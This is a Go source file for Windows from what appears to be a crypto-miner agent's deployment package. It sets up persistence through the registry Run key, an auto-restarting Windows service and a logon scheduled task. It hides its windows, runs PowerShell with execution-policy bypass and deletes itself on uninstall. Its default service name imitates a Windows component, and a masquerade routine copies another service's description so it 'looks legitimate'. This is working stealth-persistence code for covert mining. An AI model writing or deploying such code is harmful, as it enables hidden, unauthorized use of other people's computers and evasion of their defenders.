//go:build windows

package deploy

import (
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
	"syscall"

	"crypto-miner-agent/config"

	"golang.org/x/sys/windows/registry"
)

func CurrentExecutable() (string, error) {
	path, err := os.Executable()
	if err != nil {
		return filepath.Abs(os.Args[0])
	}
	return filepath.Abs(path)
}

func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
	k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
	if err != nil {
		return err
	}
	defer k.Close()
	return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, binPath, runFlag))
}

func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
	switch cfg.RunAs {
	case "service":
		return createWindowsService(cfg, installedBin)
	case "scheduled":
		return createScheduledTask(cfg, installedBin)
	default:
		return nil
	}
}

// createWindowsService installs the miner as a real Windows Service with
// automatic crash-restart. When ServiceMasquerade is enabled, the service
// name and description are cloned from the donor service so it blends in.
func createWindowsService(cfg config.RuntimeConfig, binPath string) error {
	svcName := cfg.ServiceName
	if svcName == "" {
		svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
	}

	// Tear down any stale instance first (errors are expected and ignored)
	_ = exec.Command("sc.exe", "stop", svcName).Run()
	_ = exec.Command("sc.exe", "delete", svcName).Run()
	// Give SCM time to fully remove the entry
	exec.Command("timeout", "/T", "1", "/NOBREAK").Run() //nolint:errcheck

	// Create the service
	if err := exec.Command("sc.exe", "create", svcName,
		"binPath=", `"`+binPath+`" --run`,
		"type=", "own",
		"start=", "auto",
		"error=", "ignore",
	).Run(); err != nil {
		return fmt.Errorf("sc create: %w", err)
	}

	// Crash recovery: restart immediately (0 ms), then after 5 s, then 30 s
	_ = exec.Command("sc.exe", "failure", svcName,
		"reset=", "60",
		"actions=", "restart/0/restart/5000/restart/30000",
	).Run()

	// Start it
	_ = exec.Command("sc.exe", "start", svcName).Run()

	// Masquerade: copy description from donor service
	if cfg.ServiceMasquerade && cfg.ServiceDonor != "" {
		cloneServiceDescription(svcName, cfg.ServiceDonor)
	}

	return nil
}

// cloneServiceDescription copies the display name and description from
// donorSvc into targetSvc using PowerShell so the service looks legitimate.
func cloneServiceDescription(targetSvc, donorSvc string) {
	ps := fmt.Sprintf(`
$donor = Get-Service '%s' -EA SilentlyContinue
if ($donor) {
    $wmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
    $donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
    if ($donorWmi) {
        sc.exe description '%s' ($donorWmi.Description)
        Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue
    }
}
`,
		strings.ReplaceAll(donorSvc, `'`, `''`),
		strings.ReplaceAll(targetSvc, `'`, `''`),
		strings.ReplaceAll(donorSvc, `'`, `''`),
		strings.ReplaceAll(targetSvc, `'`, `''`),
		strings.ReplaceAll(targetSvc, `'`, `''`),
	)
	cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
	_ = cmd.Run()
}

func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
	taskName := PersistenceKeyName(cfg)
	if taskName == "" {
		taskName = "CryptoMinerAgent"
	}
	script := fmt.Sprintf(
		`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
		strings.ReplaceAll(binPath, `'`, `''`),
		runFlag,
		strings.ReplaceAll(taskName, `'`, `''`),
	)
	cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
	return cmd.Run()
}

func applyDetachedStart(cmd *exec.Cmd) {
	if cmd == nil {
		return
	}
	cmd.SysProcAttr = &syscall.SysProcAttr{
		HideWindow:    true,
		CreationFlags: 0x08000000,
	}
}

func HostOSVersion() string {
	out, err := exec.Command("cmd", "/C", "ver").CombinedOutput()
	if err != nil {
		return "windows"
	}
	return strings.TrimSpace(string(out))
}

func killWorkerProcess(cfg config.RuntimeConfig) {
	_ = exec.Command("taskkill", "/F", "/IM", BinaryName(cfg)).Run()
}

func removePersistence(cfg config.RuntimeConfig) {
	keyName := PersistenceKeyName(cfg)
	runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
	if err == nil {
		_ = runKey.DeleteValue(keyName)
		runKey.Close()
	}
	_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
	// Remove service — use the configured name if available, fall back to legacy pattern
	svcName := cfg.ServiceName
	if svcName == "" {
		svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
	}
	_ = exec.Command("sc.exe", "stop", svcName).Run()
	_ = exec.Command("sc.exe", "delete", svcName).Run()
}

func selfUninstallSpawn(installDir string) {
	ps := fmt.Sprintf(`
$dir = '%s'
Start-Sleep -Seconds 2
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
`, strings.ReplaceAll(installDir, "'", "''"))
	cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
	_ = cmd.Start()
}